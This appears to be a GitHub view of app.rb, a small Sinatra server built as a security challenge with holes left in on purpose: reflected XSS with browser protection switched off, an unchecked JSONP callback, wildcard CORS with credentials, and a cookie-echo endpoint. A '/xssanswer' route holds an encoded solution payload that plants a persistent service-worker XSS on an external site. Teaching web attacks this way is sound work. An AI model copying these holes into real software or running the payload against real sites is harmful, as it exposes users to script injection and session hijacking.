forked from snyff/oauthsecurity
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathapp.rb
75 lines (46 loc) · 2.04 KB
/
app.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
require 'rubygems'
require 'sinatra'
set :views, settings.root
set :public_folder, 'dist'
#set :show_exceptions, false
disable :sessions
#disable :protection
#index = File.open('dist/Sakurity.html')
get '/sw.js' do
response.headers['content-type'] = 'text/javascript'
"onfetch=function(e){
e.respondWith(new Response('<script>alert(document.domain)</script>',{headers: {'Content-Type':'text/html'}}))
}"
end
get '/xss2' do
return x=<<HTML
<script>navigator.serviceWorker.register("/sw.js");</script>
<script src="/sw.js"></script>
<a href="/sw.js"></a>
HTML
end
get '/xssanswer' do
redirect 'https://clientsit.herokuapp.com/xss?user=%3Cscript%3E%0Anavigator.serviceWorker.register(%22%2Fjsonp%3Fcallback%3Donfetch%253Dfunction(e)%257B%250Ae.respondWith(new%2520Response(%27%253Cscript%253Ealert(document.domain)%253C%252Fscript%253E%27%252C%257Bheaders%253A%2520%257B%27Content-Type%27%253A%27text%252Fhtml%27%257D%257D))%250A%257D%252F%252F%22).then(function(registration)%20%7B%0A%20%20console.log(%27ServiceWorker%20registration%20successful%20with%20scope%3A%20%27%2C%20%20%20%20registration.scope)%3B%0A%7D).catch(function(err)%20%7B%0A%20%20console.log(%27ServiceWorker%20registration%20failed%3A%20%27%2C%20err)%3B%0A%7D)%3B%0A%3C%2Fscript%3E'
end
# Try to get persistant XSS on https://clientsit.herokuapp.com/
# 1. The user loads the /xss link you crafted in Chrome
# 2. The user closes the tab and opens any other page
# 3. The user sees an alert.
get '/jsonp' do
response.headers['content-type'] = 'text/javascript'
"#{params[:callback]}(0)"
end
get '/xss' do
response.headers['x-xss-protection'] = '0;'
"<html><body>Hello, #{params[:user]}</body></html>"
end
get '/' do
response.headers['Access-Control-Allow-Origin'] = '*'
response.headers['Access-Control-Allow-Credentials'] = 'true'
File.open('dist/Sakurity.html')
end
get '/deflate' do
search = params[:search].to_s
response.headers['Set-Cookie'] = 'SID=123123123123234345346354; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly'
"Searching for #{search}"
end